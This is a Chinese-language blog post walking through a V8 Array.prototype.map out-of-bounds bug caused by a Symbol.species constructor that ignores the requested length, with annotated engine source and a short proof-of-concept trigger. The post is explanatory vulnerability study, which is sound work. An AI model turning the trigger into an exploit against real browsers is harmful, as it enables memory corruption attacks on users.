参考链接:

查看commit

commit: https://chromium.googlesource.com/v8/v8.git/+/192984ea88badc0c02e22e528b1243a9efa46f90

漏洞原理

结合漏洞发现者的博客,知道漏洞函数是GenerateIteratingArrayBuiltinBody

照例写注释

src/builtins/builtins-array-gen.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

void GenerateIteratingArrayBuiltinBody(
const char* name, const BuiltinResultGenerator& generator,
const CallResultProcessor& processor, const PostLoopAction& action,
const Callable& slow_case_continuation,
ForEachDirection direction = ForEachDirection::kForward) {
Label non_array(this), slow(this, {&k_, &a_, &to_}),
array_changes(this, {&k_, &a_, &to_});
// TODO(danno): Seriously? Do we really need to throw the exact error
// message on null and undefined so that the webkit tests pass?
Label throw_null_undefined_exception(this, Label::kDeferred);
GotoIf(WordEqual(receiver(), NullConstant()),
&throw_null_undefined_exception);
GotoIf(WordEqual(receiver(), UndefinedConstant()),
&throw_null_undefined_exception);
// By the book: taken directly from the ECMAScript 2015 specification
// 1. Let O be ToObject(this value).
// 2. ReturnIfAbrupt(O)

// 原本的注释也写出来了,就是让 o_ = this

o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());
// 3. Let len be ToLength(Get(O, "length")).
// 4. ReturnIfAbrupt(len).

// 创建了一个Tagged变量,也就是标记指针变量,作用是存储数组的长度

VARIABLE(merged_length, MachineRepresentation::kTagged);
Label has_length(this, &merged_length), not_js_array(this);

// 如果o_不是JS的Array,则跳到not_js_array分支

GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), &not_js_array);

// 将数组的长度给与marge_length

merged_length.Bind(LoadJSArrayLength(o()));
Goto(&has_length);
BIND(&not_js_array);
Node* len_property =
GetProperty(context(), o(), isolate()->factory()->length_string());
merged_length.Bind(
CallStub(CodeFactory::ToLength(isolate()), context(), len_property));
Goto(&has_length);
BIND(&has_length);

// len_就是数组的长度
len_ = merged_length.value();
// 5. If IsCallable(callbackfn) is false, throw a TypeError exception.
Label type_exception(this, Label::kDeferred);
Label done(this);

// 并不知道这个callbackfn是做什么的

GotoIf(TaggedIsSmi(callbackfn()), &type_exception);

// 这一步看名字是在获取map,根据callbackfn()的返回值
// 有点混淆,究竟是对象结构的那个map,还是成员函数的那个map

Branch(IsCallableMap(LoadMap(callbackfn())), &done, &type_exception);
BIND(&throw_null_undefined_exception);
{
CallRuntime(
Runtime::kThrowTypeError, context(),
SmiConstant(MessageTemplate::kCalledOnNullOrUndefined),
HeapConstant(isolate()->factory()->NewStringFromAsciiChecked(name)));
Unreachable();
}
BIND(&type_exception);
{
CallRuntime(Runtime::kThrowTypeError, context(),
SmiConstant(MessageTemplate::kCalledNonCallable),
callbackfn());
Unreachable();
}
BIND(&done);
// 6. If thisArg was supplied, let T be thisArg; else let T be undefined.
// [Already done by the arguments adapter]
if (direction == ForEachDirection::kForward) {
// 7. Let k be 0.
k_.Bind(SmiConstant(0));
} else {
k_.Bind(NumberDec(len()));
}

// 漏洞发现者说generator是map的那个参数,等会看一下

a_.Bind(generator(this));

// 漏洞发现者解释说,这个函数是用来使用o_的迭代器来做映射操作,对数组的每个值调用处理器然后将结果写入a_

HandleFastElements(processor, action, &slow, direction);
BIND(&slow);
Node* result =
CallStub(slow_case_continuation, context(), receiver(), callbackfn(),
this_arg(), a_.value(), o(), k_.value(), len(), to_.value());
ReturnFromBuiltin(result);
}

src/builtins/builtins-array-gen.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
TF_BUILTIN(ArrayMap, ArrayBuiltinCodeStubAssembler) {
Node* argc =
ChangeInt32ToIntPtr(Parameter(BuiltinDescriptor::kArgumentsCount));
CodeStubArguments args(this, argc);
Node* context = Parameter(BuiltinDescriptor::kContext);
Node* new_target = Parameter(BuiltinDescriptor::kNewTarget);
Node* receiver = args.GetReceiver();

// 原来callbackfn就是callback function,即map的第一个参数
// this_arg就是map函数的可选参数

Node* callbackfn = args.GetOptionalArgumentValue(0, UndefinedConstant());
Node* this_arg = args.GetOptionalArgumentValue(1, UndefinedConstant());
InitIteratingArrayBuiltinBody(context, receiver, callbackfn, this_arg,
new_target, argc);
GenerateIteratingArrayBuiltinBody(
"Array.prototype.map", &ArrayBuiltinCodeStubAssembler::MapResultGenerator,
&ArrayBuiltinCodeStubAssembler::MapProcessor,
&ArrayBuiltinCodeStubAssembler::NullPostLoopAction,
Builtins::CallableFor(isolate(), Builtins::kArrayMapLoopContinuation));
}

然后重点就应该是这个&ArrayBuiltinCodeStubAssembler::MapResultGenerator,我们来看看它是啥

src/builtins/builtins-array-gen.cc

1
2
3
4
Node* MapResultGenerator() {
// 5. Let A be ? ArraySpeciesCreate(O, len).
return ArraySpeciesCreate(context(), o(), len_);
}

src/code-stub-assembler.cc

1
2
3
4
5
6
7
8
9
Node* CodeStubAssembler::ArraySpeciesCreate(Node* context, Node* originalArray,
Node* len) {
// TODO(mvstanton): Install a fast path as well, which avoids the runtime
// call.
Node* constructor =
CallRuntime(Runtime::kArraySpeciesConstructor, context, originalArray);
return ConstructJS(CodeFactory::Construct(isolate()), context, constructor,
len);
}

我已经有点看不懂了,但是也似乎有点懂了

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --verify-heap
class Array1 extends Array {
constructor(len) {
super(1);
}
};
class MyArray extends Array {
static get [Symbol.species]() {
return Array1;
}
}
a = new MyArray();
for (var i = 0; i < 100000; i++) {
a.push(1);
}
a.map(function(x) { return 42; });

看起来就是,自定了一个数组的构造函数,不管长度是多少都只会生成长度为1的数组

for循环将数组的长度增长到了100000,然后调用map函数的时候,由于它会再次调用构造函数,但是程序以为的长度却是现在数组的长度,就会造成,生成了一个程序以为是100000长度但实际上是1长度的数组,就造成了oob

总结

v8的代码真难读,各种调用各种跳转,太难了……